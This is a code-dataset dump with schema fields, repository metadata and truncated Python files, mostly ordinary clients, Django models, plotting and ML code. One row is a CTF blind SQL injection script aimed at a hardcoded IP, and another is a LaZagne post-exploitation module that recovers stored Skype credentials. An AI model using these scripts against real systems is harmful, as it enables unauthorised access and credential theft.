hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
59dfde10f8d1208989990aa6569e660ed0ec8d32
506
py
Python
2017/BackdoorCTF/The-Wall/the-wall.py
birdsoup/CTF-Writeups
feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb
[ "MIT" ]
3
2019-03-03T00:08:19.000Z
2021-06-09T14:20:41.000Z
2017/BackdoorCTF/The-Wall/the-wall.py
birdsoup/CTF-Writeups
feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb
[ "MIT" ]
null
null
null
2017/BackdoorCTF/The-Wall/the-wall.py
birdsoup/CTF-Writeups
feaeda46a5afa3dabbfa81adcbe184f7bc24d5cb
[ "MIT" ]
1
2021-06-18T08:56:05.000Z
2021-06-18T08:56:05.000Z
import requests import string url = 'http://163.172.176.29/WALL/index.php' response = '' sofar = '' while True: done = 1 for char in "0123456789abcdef": print(char) params = {'life':'LordCommander\' AND password LIKE \''+ sofar + char + '%', 'soul':''} r = requests.post(url, data=param...
22
95
0.537549
59
506
4.610169
0.627119
0.036765
0
0
0
0
0
0
0
0
0
0.069971
0.322134
506
22
96
23
0.723032
0
0
0.105263
0
0
0.185771
0
0
0
0
0
0
0
null
null
0.052632
0.105263
null
null
0.157895
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
59e266e23a1dfc7701c3ddb3c28a96ea6a9f5fd5
184
py
Python
epages_client/__init__.py
vilkasgroup/epages_client
10e63d957ee45dc5d4df741064806f724fb1be1f
[ "MIT" ]
3
2018-01-26T13:44:26.000Z
2020-05-13T13:58:19.000Z
epages_client/__init__.py
vilkasgroup/epages_client
10e63d957ee45dc5d4df741064806f724fb1be1f
[ "MIT" ]
53
2018-02-05T10:59:22.000Z
2022-01-01T19:31:08.000Z
epages_client/__init__.py
vilkasgroup/epages_client
10e63d957ee45dc5d4df741064806f724fb1be1f
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """Top-level package for ePages Client.""" __author__ = """Pekka Piispanen, Tero Kotti""" __email__ = 'pekka@vilkas.fi, tero@vilkas.fi' __version__ = '0.2.0'
23
46
0.657609
25
184
4.36
0.8
0.146789
0
0
0
0
0
0
0
0
0
0.025157
0.13587
184
7
47
26.285714
0.660377
0.320652
0
0
0
0
0.529412
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
ab7fbb0bb53a8246dc943735adfc8f5a753e4255
745
py
Python
databases/schemas.py
MichaelLan/PracticeFastAPI
aa7fe2167e73b4ab7c2f288db1ae93fd696083f8
[ "MIT" ]
null
null
null
databases/schemas.py
MichaelLan/PracticeFastAPI
aa7fe2167e73b4ab7c2f288db1ae93fd696083f8
[ "MIT" ]
null
null
null
databases/schemas.py
MichaelLan/PracticeFastAPI
aa7fe2167e73b4ab7c2f288db1ae93fd696083f8
[ "MIT" ]
null
null
null
from pydantic import BaseModel, Field class UserBase(BaseModel): username: str = Field(..., title='username') name: str = Field(..., title='Nombre') email: str = Field(..., title='Correo electrónico', regex='^([a-zA-Z0-9_\-\.]+)@([a-zA-Z0-9_\-\.]+)\.([a-zA-Z]{2,5})$') group_id: int = Field(..., title=...
19.102564
123
0.601342
95
745
4.652632
0.473684
0.113122
0.117647
0.085973
0.156109
0.156109
0.122172
0
0
0
0
0.010453
0.22953
745
38
124
19.605263
0.759582
0.016107
0
0.363636
0
0.045455
0.184932
0.079452
0
0
0
0
0
1
0
false
0.090909
0.045455
0
0.818182
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
ab95dec5cd41d996f15d659271ea724e6829e1ea
889
py
Python
sdmx/source/wb_wdi.py
miccoli/sdmx
3e4cbc1bed655151b7ef19a3ed7fc3ecf311c0b4
[ "Apache-2.0" ]
4
2020-07-21T16:03:30.000Z
2022-01-12T12:10:05.000Z
sdmx/source/wb_wdi.py
miccoli/sdmx
3e4cbc1bed655151b7ef19a3ed7fc3ecf311c0b4
[ "Apache-2.0" ]
93
2020-05-01T10:45:13.000Z
2022-02-15T17:10:11.000Z
sdmx/source/wb_wdi.py
miccoli/sdmx
3e4cbc1bed655151b7ef19a3ed7fc3ecf311c0b4
[ "Apache-2.0" ]
8
2020-11-10T17:11:01.000Z
2022-01-19T13:35:32.000Z
from . import Source as BaseSource class Source(BaseSource): _id = "WB_WDI" def modify_request_args(self, kwargs): """World Bank's agency ID.""" super().modify_request_args(kwargs) if kwargs["resource_type"] == "categoryscheme": # Service does not respond to requests for ...
34.192308
82
0.573678
102
889
4.921569
0.72549
0.051793
0.067729
0
0
0
0
0
0
0
0
0
0.330709
889
25
83
35.56
0.843697
0.327334
0
0
0
0
0.132653
0
0
0
0
0.04
0
1
0.071429
false
0.071429
0.071429
0
0.285714
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
1
0
0
0
0
0
2
abbeb6dab92cc825e6aafbd9029fba15cfb73b04
5,486
py
Python
es_sink/es_sink/descriptor.py
AswinKakarot/community
273f7a53682591e09c7fd4b7d5ef6d21e71990fe
[ "Apache-2.0" ]
1
2021-03-19T20:24:08.000Z
2021-03-19T20:24:08.000Z
es_sink/es_sink/descriptor.py
marhak/odfe-community
c1f2802205eb11c0fdbbbef909b0e33e90ea2ad5
[ "Apache-2.0" ]
null
null
null
es_sink/es_sink/descriptor.py
marhak/odfe-community
c1f2802205eb11c0fdbbbef909b0e33e90ea2ad5
[ "Apache-2.0" ]
null
null
null
''' Copyright 2020, Amazon Web Services Inc. This code is licensed under MIT license (see LICENSE.txt for details) Python 3 Provides a buffer object that holds log lines in Elasticsearch _bulk format. As each line is added, the buffer stores the control line as well as the log line. ''' from es_sink.transport_utils...
36.331126
80
0.569996
688
5,486
4.359012
0.257267
0.042014
0.034678
0.034011
0.264088
0.246415
0.238746
0.20907
0.174725
0.142714
0
0.007359
0.331207
5,486
150
81
36.573333
0.81003
0.432556
0
0.283582
0
0
0.059196
0
0
0
0
0
0
1
0.238806
false
0
0.014925
0.029851
0.58209
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
abc7fe6ed81f6a3243f01fac4c7d9bd24438e2cc
259
py
Python
output/models/nist_data/atomic/g_day/schema_instance/nistschema_sv_iv_atomic_g_day_min_inclusive_3_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
1
2021-08-14T17:59:21.000Z
2021-08-14T17:59:21.000Z
output/models/nist_data/atomic/g_day/schema_instance/nistschema_sv_iv_atomic_g_day_min_inclusive_3_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
4
2020-02-12T21:30:44.000Z
2020-04-15T20:06:46.000Z
output/models/nist_data/atomic/g_day/schema_instance/nistschema_sv_iv_atomic_g_day_min_inclusive_3_xsd/__init__.py
tefra/xsdata-w3c-tests
b6b6a4ac4e0ab610e4b50d868510a8b7105b1a5f
[ "MIT" ]
null
null
null
from output.models.nist_data.atomic.g_day.schema_instance.nistschema_sv_iv_atomic_g_day_min_inclusive_3_xsd.nistschema_sv_iv_atomic_g_day_min_inclusive_3 import NistschemaSvIvAtomicGDayMinInclusive3 __all__ = [ "NistschemaSvIvAtomicGDayMinInclusive3", ]
43.166667
198
0.895753
33
259
6.30303
0.606061
0.100962
0.144231
0.192308
0.355769
0.355769
0.355769
0.355769
0.355769
0
0
0.016327
0.054054
259
5
199
51.8
0.832653
0
0
0
0
0
0.142857
0.142857
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
abd187a6da7e1ffff49d9174eb08ce9adcb4d1ae
382
py
Python
matplot-pressentation/code/example_5.py
semnan-university-ai/Computer-vision
fb1d31cce7e568dd721e100fe4cf6065e86d6901
[ "MIT" ]
5
2021-01-01T10:27:54.000Z
2021-04-23T11:22:39.000Z
matplot-pressentation/code/example_5.py
semnan-university-ai/Computer-vision
fb1d31cce7e568dd721e100fe4cf6065e86d6901
[ "MIT" ]
null
null
null
matplot-pressentation/code/example_5.py
semnan-university-ai/Computer-vision
fb1d31cce7e568dd721e100fe4cf6065e86d6901
[ "MIT" ]
null
null
null
import matplotlib.pyplot as plt import numpy as np a1 = plt.subplot2grid((3,3),(0,0),colspan = 2) a2 = plt.subplot2grid((3,3),(0,2), rowspan = 3) a3 = plt.subplot2grid((3,3),(1,0),rowspan = 2, colspan = 2) x = np.arange(1,10) a2.plot(x, x*x) a2.set_title('square') a1.plot(x, np.exp(x)) a1.set_title('exp') a3.plot(x...
21.222222
59
0.657068
77
382
3.207792
0.376623
0.182186
0.194332
0.206478
0.145749
0
0
0
0
0
0
0.091716
0.115183
382
18
60
21.222222
0.639053
0
0
0
0
0
0.031332
0
0
0
0
0
0
1
0
false
0
0.142857
0
0.142857
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
abe8ae04affaa5ccadfbce1762790a2993bb9301
421
py
Python
tgbot/admin.py
oldevgeny/LegalTech-bot
91eb222afe9477a1cdcb9465152781bfacc11e23
[ "Apache-2.0" ]
null
null
null
tgbot/admin.py
oldevgeny/LegalTech-bot
91eb222afe9477a1cdcb9465152781bfacc11e23
[ "Apache-2.0" ]
null
null
null
tgbot/admin.py
oldevgeny/LegalTech-bot
91eb222afe9477a1cdcb9465152781bfacc11e23
[ "Apache-2.0" ]
null
null
null
from django.contrib import admin from .models import Profile, Message from .forms import ProfileForm @admin.register(Profile) class ProfileAdmin(admin.ModelAdmin): list_display = ('id', 'external_id', 'name') form = ProfileForm @admin.register(Message) class MessageAdmin(admin.ModelAdmin): list_display ...
23.388889
58
0.705463
49
421
5.959184
0.612245
0.109589
0.164384
0.178082
0.191781
0
0
0
0
0
0
0
0.171021
421
17
59
24.764706
0.836676
0.097387
0
0
0
0
0.106101
0
0
0
0
0
0
1
0
false
0
0.3
0
0.8
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
abee705981b3f1f51cb469237ecb3f0eb80a7729
1,128
py
Python
marqeta/resources/pins.py
marqeta/marqeta-python
66fa690eb910825c510a391720b0fe717fac0234
[ "MIT" ]
21
2019-04-12T09:02:17.000Z
2022-02-18T11:39:06.000Z
marqeta/resources/pins.py
marqeta/marqeta-python
66fa690eb910825c510a391720b0fe717fac0234
[ "MIT" ]
1
2020-07-22T21:27:40.000Z
2020-07-23T17:38:43.000Z
marqeta/resources/pins.py
marqeta/marqeta-python
66fa690eb910825c510a391720b0fe717fac0234
[ "MIT" ]
10
2019-05-08T14:20:37.000Z
2021-09-20T18:09:26.000Z
'''PINS RESOURCE WITH CRU PARAMETERS''' from marqeta.resources.collection import Collection from marqeta.response_models.control_token_response import ControlTokenResponse class PinsCollection(object): ''' Marqeta API 'pins' endpoint list, create, find and update operations ''' _endpoint = 'pins' ...
29.684211
90
0.672872
121
1,128
6.140496
0.438017
0.043069
0.032301
0.04576
0.20996
0.20996
0
0
0
0
0
0
0.236702
1,128
37
91
30.486486
0.86295
0.260638
0
0
0
0
0.083582
0.058209
0
0
0
0
0
1
0.307692
false
0
0.153846
0.076923
0.846154
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
280171eee2706dcb2ef70437df013f64fd144dcb
143
py
Python
Exercises of Python courses World1-2 and 3/ex049 - Tabuada v.2.0.py
RafaFurla/Python-Exercises
8c37ac5b13a28a5f22babfeac0d4b60f90c5aff7
[ "MIT" ]
1
2022-02-21T18:00:18.000Z
2022-02-21T18:00:18.000Z
Exercises of Python courses World1-2 and 3/ex049 - Tabuada v.2.0.py
RafaFurla/Python-Exercises
8c37ac5b13a28a5f22babfeac0d4b60f90c5aff7
[ "MIT" ]
null
null
null
Exercises of Python courses World1-2 and 3/ex049 - Tabuada v.2.0.py
RafaFurla/Python-Exercises
8c37ac5b13a28a5f22babfeac0d4b60f90c5aff7
[ "MIT" ]
null
null
null
n = int(input('Choose a number to know his multiplication table: ')) for c in range(0, 11, 1): print('{} x {:2} = {}'.format(n, c, n * c))
35.75
68
0.573427
26
143
3.153846
0.846154
0.04878
0
0
0
0
0
0
0
0
0
0.044248
0.20979
143
3
69
47.666667
0.681416
0
0
0
0
0
0.447552
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
f9f41af38c08768a57dacd57772ce8a8aff7993f
4,991
py
Python
Post-Exploitation/LaZagne/Windows/lazagne/softwares/chats/skype.py
FOGSEC/TID3xploits
b57d8bae454081a3883a5684679e2a329e72d6e5
[ "MIT" ]
5
2018-01-15T13:58:40.000Z
2022-02-17T02:38:58.000Z
Post-Exploitation/LaZagne/Windows/lazagne/softwares/chats/skype.py
bhattsameer/TID3xploits
b57d8bae454081a3883a5684679e2a329e72d6e5
[ "MIT" ]
null
null
null
Post-Exploitation/LaZagne/Windows/lazagne/softwares/chats/skype.py
bhattsameer/TID3xploits
b57d8bae454081a3883a5684679e2a329e72d6e5
[ "MIT" ]
4
2019-06-21T07:51:11.000Z
2020-11-04T05:20:09.000Z
from lazagne.config.write_output import print_debug from lazagne.config.moduleInfo import ModuleInfo from lazagne.config.dico import get_dico from lazagne.config.WinStructure import * from lazagne.config.constant import * import xml.etree.cElementTree as ET from Crypto.Cipher import AES import _winreg import ha...
30.248485
108
0.658385
698
4,991
4.604585
0.262178
0.037337
0.047604
0.052271
0.15837
0.11761
0.107032
0.092097
0.070317
0.046049
0
0.020934
0.215187
4,991
165
109
30.248485
0.799592
0.105189
0
0.2
0
0.008333
0.130425
0.033364
0
0
0
0
0
0
null
null
0.066667
0.1
null
null
0.075
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
e607df82b0328cf323a31867e15f80488f129ac4
2,976
py
Python
api/files/api/app/send_email.py
trackit/trackit-legacy
76cfab7941eddb9d390dd6c7b9a408a9ad4fc8da
[ "Apache-2.0" ]
2
2018-02-01T09:18:05.000Z
2020-03-12T18:11:11.000Z
api/files/api/app/send_email.py
trackit/trackit-legacy
76cfab7941eddb9d390dd6c7b9a408a9ad4fc8da
[ "Apache-2.0" ]
null
null
null
api/files/api/app/send_email.py
trackit/trackit-legacy
76cfab7941eddb9d390dd6c7b9a408a9ad4fc8da
[ "Apache-2.0" ]
5
2018-05-11T10:32:52.000Z
2021-05-26T12:09:47.000Z
import smtplib from email.MIMEMultipart import MIMEMultipart from email.MIMEText import MIMEText from app import app import config def send_email(email, subject, text, html, bypass_debug=False): if not config.SMTP_ADDRESS: return if app.debug: print 'EMAIL', email, subject.encode('utf8'), text....
29.465347
92
0.646505
359
2,976
5.164345
0.167131
0.080906
0.05178
0.07767
0.653182
0.608954
0.608954
0.608954
0.608954
0.563646
0
0.010724
0.247984
2,976
100
93
29.76
0.817694
0
0
0.67033
0
0
0.042339
0
0
0
0
0
0
0
null
null
0.10989
0.054945
null
null
0.076923
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
1
0
0
0
0
0
2
e61467fb9ad5bd9494269ebfda2c8f2762de33e8
953
py
Python
tests/filters/test_value_first_word_check.py
babenek/CredSweeper
4d69ec934b45fd2f68e00b636077e5edfd1ff6ca
[ "MIT" ]
17
2021-10-22T00:29:46.000Z
2022-03-21T03:05:56.000Z
tests/filters/test_value_first_word_check.py
babenek/CredSweeper
4d69ec934b45fd2f68e00b636077e5edfd1ff6ca
[ "MIT" ]
29
2021-11-05T21:10:51.000Z
2022-03-30T10:41:08.000Z
tests/filters/test_value_first_word_check.py
babenek/CredSweeper
4d69ec934b45fd2f68e00b636077e5edfd1ff6ca
[ "MIT" ]
16
2021-11-05T20:39:54.000Z
2022-03-11T00:57:32.000Z
import pytest from credsweeper.filters import ValueFirstWordCheck from tests.test_utils.dummy_line_data import get_line_data class TestValueFirstWordCheck: def test_value_first_word_check_p(self, file_path: pytest.fixture, success_line: pytest.fixture) -> None: line_data = get_line_data(file_path, line=...
45.380952
120
0.751312
134
953
5.014925
0.291045
0.130952
0.065476
0.075893
0.720238
0.720238
0.563988
0.495536
0.495536
0.443452
0
0
0.140609
953
20
121
47.65
0.820513
0
0
0.142857
0
0
0.040923
0
0
0
0
0
0.214286
1
0.214286
false
0
0.214286
0
0.5
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
2
e633110da78358f8e3050c235a4e9cd319519873
460
py
Python
model_summaries/model_summary.py
tqxli/breast_ultrasound_lesion_segmentation_PyTorch
d378a624a12b6156364f4f72c3fc60cc0c47f6f0
[ "MIT" ]
6
2021-05-02T15:32:20.000Z
2022-02-23T01:39:42.000Z
model_summaries/model_summary.py
tqxli/breast_ultrasound_lesion_segmentation_PyTorch
d378a624a12b6156364f4f72c3fc60cc0c47f6f0
[ "MIT" ]
2
2021-12-28T02:57:59.000Z
2022-01-24T14:23:55.000Z
model_summaries/model_summary.py
tqxli/breast_ultrasound_lesion_segmentation_PyTorch
d378a624a12b6156364f4f72c3fc60cc0c47f6f0
[ "MIT" ]
4
2021-07-17T03:50:46.000Z
2022-03-17T12:48:30.000Z
""" Two ways for checking model architectures: 1. Use torchsummary. 2. Define your model classes as a BaseModel (instead of a nn.Module), which specifies a __str__() function. """ # from __future__ import print_function # import torch # import torchsummary # device = torch.device("cuda" if torch.cuda.is_availabl...
25.555556
71
0.736957
65
460
4.984615
0.661538
0.111111
0
0
0
0
0
0
0
0
0
0.022901
0.145652
460
18
72
25.555556
0.801527
0.93913
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
e6341d8b54fc0c1870b2a8b85df66bf165e88655
959
py
Python
torchexpo/vision/image_classification/mnasnet.py
torchexpo/torchexpo
88c875358e830065ee23f49f47d4995b5b2d3e3c
[ "Apache-2.0" ]
23
2020-09-08T05:08:46.000Z
2021-08-12T07:16:53.000Z
torchexpo/vision/image_classification/mnasnet.py
torchexpo/torchexpo
88c875358e830065ee23f49f47d4995b5b2d3e3c
[ "Apache-2.0" ]
1
2021-12-05T06:15:18.000Z
2021-12-20T08:10:19.000Z
torchexpo/vision/image_classification/mnasnet.py
torchexpo/torchexpo
88c875358e830065ee23f49f47d4995b5b2d3e3c
[ "Apache-2.0" ]
2
2021-01-12T06:10:53.000Z
2021-07-24T08:21:59.000Z
import torchvision from torchexpo.modules import ImageClassificationModule def mnasnet0_5(): """MNASNet 0.5 Model pre-trained on ImageNet""" model = torchvision.models.mnasnet0_5(pretrained=True) obj = ImageClassificationModule(model, "MNASNet0_5", model_example="default") return obj # def mnasnet0_7...
35.518519
84
0.721585
111
959
6.09009
0.243243
0.094675
0.130178
0.248521
0.66716
0.62574
0.254438
0.139053
0
0
0
0.044499
0.156413
959
27
85
35.518519
0.7911
0.513034
0
0.2
0
0
0.075893
0
0
0
0
0
0
1
0.2
false
0
0.2
0
0.6
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
e64adc30b75867f64a38d67dc6a4662ed8a10355
8,337
py
Python
amlearn/featurize/symmetry_function.py
Qi-max/amlearn
88189519bc1079ab5085d5871169c223e0d03057
[ "BSD-3-Clause-LBNL" ]
12
2019-02-07T16:45:29.000Z
2021-03-15T12:44:07.000Z
amlearn/featurize/symmetry_function.py
Qi-max/amlearn
88189519bc1079ab5085d5871169c223e0d03057
[ "BSD-3-Clause-LBNL" ]
2
2018-11-22T04:59:10.000Z
2019-12-05T14:22:29.000Z
amlearn/featurize/symmetry_function.py
Qi-max/amlearn
88189519bc1079ab5085d5871169c223e0d03057
[ "BSD-3-Clause-LBNL" ]
5
2020-12-03T07:18:50.000Z
2022-01-20T09:17:47.000Z
import numpy as np import pandas as pd from functools import reduce from itertools import combinations_with_replacement from amlearn.featurize.base import create_featurizer_backend from amlearn.utils.packing import load_radii from sklearn.base import BaseEstimator, TransformerMixin try: from amlearn.featurize.src ...
43.649215
86
0.602975
1,083
8,337
4.33241
0.136657
0.034101
0.063939
0.032396
0.717178
0.700128
0.677749
0.677749
0.62873
0.604007
0
0.010038
0.306945
8,337
190
87
43.878947
0.802008
0.005757
0
0.581818
0
0
0.032098
0.015929
0
0
0
0
0
1
0.060606
false
0
0.054545
0.024242
0.175758
0.066667
0
0
0
null
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e651710f5b0db68c83085e837c5848f7e779cafa
2,737
py
Python
app/core/migrations/0001_initial.py
LukaszMalucha/Springboard-analytics
3d528670a3dff24bfa981e4071feac9a6e995176
[ "MIT" ]
2
2019-03-11T22:28:11.000Z
2020-02-20T22:04:20.000Z
app/core/migrations/0001_initial.py
LukaszMalucha/Springboard-Analytics
3d528670a3dff24bfa981e4071feac9a6e995176
[ "MIT" ]
34
2019-12-18T09:44:23.000Z
2022-03-11T23:26:10.000Z
app/core/migrations/0001_initial.py
LukaszMalucha/Springboard-Insights
f09af4246288fa2611163a503b106570c0776b8e
[ "MIT" ]
null
null
null
# Generated by Django 2.2 on 2020-10-23 14:04 import core.utils import datetime from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ migrations.swappable_dependency(settings....
45.616667
119
0.589697
288
2,737
5.465278
0.350694
0.142948
0.19568
0.132147
0.459339
0.459339
0.439009
0.201398
0.201398
0.150572
0
0.048515
0.261966
2,737
59
120
46.389831
0.730693
0.015711
0
0.288462
1
0
0.113299
0.007801
0
0
0
0
0
1
0
false
0
0.096154
0
0.173077
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
e65308be14682be54575159ffe1ac2733f042b3f
2,319
py
Python
GUI/Generic/Alerts.py
gcewing/PyGUI
58c6c38ccb8e66acdf98dea6b24bef1d9a03147c
[ "MIT" ]
9
2019-07-15T19:03:27.000Z
2021-11-24T19:50:02.000Z
GUI/Generic/Alerts.py
mnabeelp/PyGUI
58c6c38ccb8e66acdf98dea6b24bef1d9a03147c
[ "MIT" ]
3
2019-09-11T13:22:10.000Z
2020-08-19T20:13:00.000Z
GUI/Generic/Alerts.py
mnabeelp/PyGUI
58c6c38ccb8e66acdf98dea6b24bef1d9a03147c
[ "MIT" ]
4
2020-02-23T16:50:06.000Z
2022-02-10T07:15:35.000Z
#----------------------------------------------------------------------- # # PyGUI - Alert functions - Generic # #----------------------------------------------------------------------- from GUI import BaseAlertFunctions def alert(kind, prompt, ok_label = "OK", **kwds): """Displays an alert box with one button. Do...
36.234375
89
0.65373
326
2,319
4.595092
0.254601
0.064085
0.064085
0.068091
0.610814
0.506676
0.449266
0.449266
0.409212
0.362483
0
0.014713
0.150065
2,319
63
90
36.809524
0.745307
0.574386
0
0.090909
0
0
0.053996
0
0
0
0
0
0
1
0.409091
false
0
0.045455
0
0.727273
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
e65bdebbc2839c76277d355b4f417ea23b3161e1
3,009
py
Python
tests/influence_tests.py
cmu-transparency/lib-attribution
248d10ac5518a220205081ff6a5954fa594d4d78
[ "MIT" ]
5
2020-09-16T21:22:59.000Z
2021-08-12T01:03:31.000Z
tests/influence_tests.py
cmu-transparency/lib-attribution
248d10ac5518a220205081ff6a5954fa594d4d78
[ "MIT" ]
1
2021-06-25T10:35:19.000Z
2021-06-27T08:17:07.000Z
tests/influence_tests.py
cmu-transparency/lib-attribution
248d10ac5518a220205081ff6a5954fa594d4d78
[ "MIT" ]
1
2021-08-12T01:03:48.000Z
2021-08-12T01:03:48.000Z
